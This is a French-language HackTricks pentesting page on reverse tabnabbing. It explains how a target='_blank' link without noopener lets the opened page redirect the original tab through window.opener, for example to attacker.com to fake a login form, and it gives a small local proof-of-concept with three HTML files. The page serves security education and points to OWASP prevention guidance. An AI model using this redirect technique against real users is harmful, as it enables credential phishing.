hacktricks/src/pentesting-web/reverse-tab-nabbing.md

82 lines
4.5 KiB
Markdown

{{#include ../banners/hacktricks-training.md}}
# Description
Dans une situation où un **attacker** peut **controler** l'argument **`href`** d'une balise **`<a`** avec l'attribut **`target="_blank" rel="opener"`** qui va être cliquée par une victime, l'**attacker** **dirige** ce **lien** vers un site web sous son contrôle (un **site web** **malveillant**). Ensuite, une fois que la **victime clique** sur le lien et accède au site de l'attaquant, ce **site web** **malveillant** pourra **controler** la **page** **originale** via l'objet javascript **`window.opener`**.\
Si la page n'a pas **`rel="opener"` mais contient `target="_blank"` et n'a pas non plus `rel="noopener"`**, elle peut également être vulnérable.
Une manière classique d'abuser de ce comportement serait de **changer la localisation du web original** via `window.opener.location = https://attacker.com/victim.html` vers un web contrôlé par l'attaquant qui **ressemble à l'original**, afin qu'il puisse **imiter** le **formulaire** de **connexion** du site web original et demander des identifiants à l'utilisateur.
Cependant, notez qu'étant donné que l'**attacker peut maintenant contrôler l'objet window du site web original**, il peut en abuser de d'autres manières pour effectuer des **attaques plus discrètes** (peut-être en modifiant des événements javascript pour exfiltrer des informations vers un serveur contrôlé par lui ?)
# Overview
## With back link
Lien entre les pages parent et enfant lorsque l'attribut de prévention n'est pas utilisé :
![https://owasp.org/www-community/assets/images/TABNABBING_OVERVIEW_WITH_LINK.png](https://owasp.org/www-community/assets/images/TABNABBING_OVERVIEW_WITH_LINK.png)
## Without back link
Lien entre les pages parent et enfant lorsque l'attribut de prévention est utilisé :
![https://owasp.org/www-community/assets/images/TABNABBING_OVERVIEW_WITHOUT_LINK.png](https://owasp.org/www-community/assets/images/TABNABBING_OVERVIEW_WITHOUT_LINK.png)
## Examples <a href="#examples" id="examples"></a>
Créez les pages suivantes dans un dossier et exécutez un serveur web avec `python3 -m http.server`\
Ensuite, **accédez** à `http://127.0.0.1:8000/`vulnerable.html, **cliquez** sur le lien et notez comment l'**URL** du **site web** **original** **change**.
```markup:vulnerable.html
<!DOCTYPE html>
<html>
<body>
<h1>Victim Site</h1>
<a href="http://127.0.0.1:8000/malicious.html" target="_blank" rel="opener">Controlled by the attacker</a>
</body>
</html>
```
```markup:malicious.html
<!DOCTYPE html>
<html>
<body>
<script>
window.opener.location = "http://127.0.0.1:8000/malicious_redir.html";
</script>
</body>
</html>
```
```markup:malicious_redir.html
<!DOCTYPE html>
<html>
<body>
<h1>New Malicious Site</h1>
</body>
</html>
```
## Propriétés accessibles <a href="#accessible-properties" id="accessible-properties"></a>
Dans le scénario où un accès **cross-origin** se produit (accès à travers différents domaines), les propriétés de l'instance de la classe JavaScript **window**, référencées par l'objet JavaScript **opener**, auxquelles un site malveillant peut accéder sont limitées aux suivantes :
- **`opener.closed`** : Cette propriété est utilisée pour déterminer si une fenêtre a été fermée, renvoyant une valeur booléenne.
- **`opener.frames`** : Cette propriété fournit l'accès à tous les éléments iframe dans la fenêtre actuelle.
- **`opener.length`** : Le nombre d'éléments iframe présents dans la fenêtre actuelle est renvoyé par cette propriété.
- **`opener.opener`** : Une référence à la fenêtre qui a ouvert la fenêtre actuelle peut être obtenue par cette propriété.
- **`opener.parent`** : Cette propriété renvoie la fenêtre parente de la fenêtre actuelle.
- **`opener.self`** : L'accès à la fenêtre actuelle elle-même est fourni par cette propriété.
- **`opener.top`** : Cette propriété renvoie la fenêtre de navigateur la plus haute.
Cependant, dans les cas où les domaines sont identiques, le site malveillant a accès à toutes les propriétés exposées par la référence d'objet JavaScript [**window**](https://developer.mozilla.org/en-US/docs/Web/API/Window).
# Prévention
Les informations de prévention sont documentées dans le [HTML5 Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/HTML5_Security_Cheat_Sheet.html#tabnabbing).
## Références
- [https://owasp.org/www-community/attacks/Reverse_Tabnabbing](https://owasp.org/www-community/attacks/Reverse_Tabnabbing)
{{#include ../banners/hacktricks-training.md}}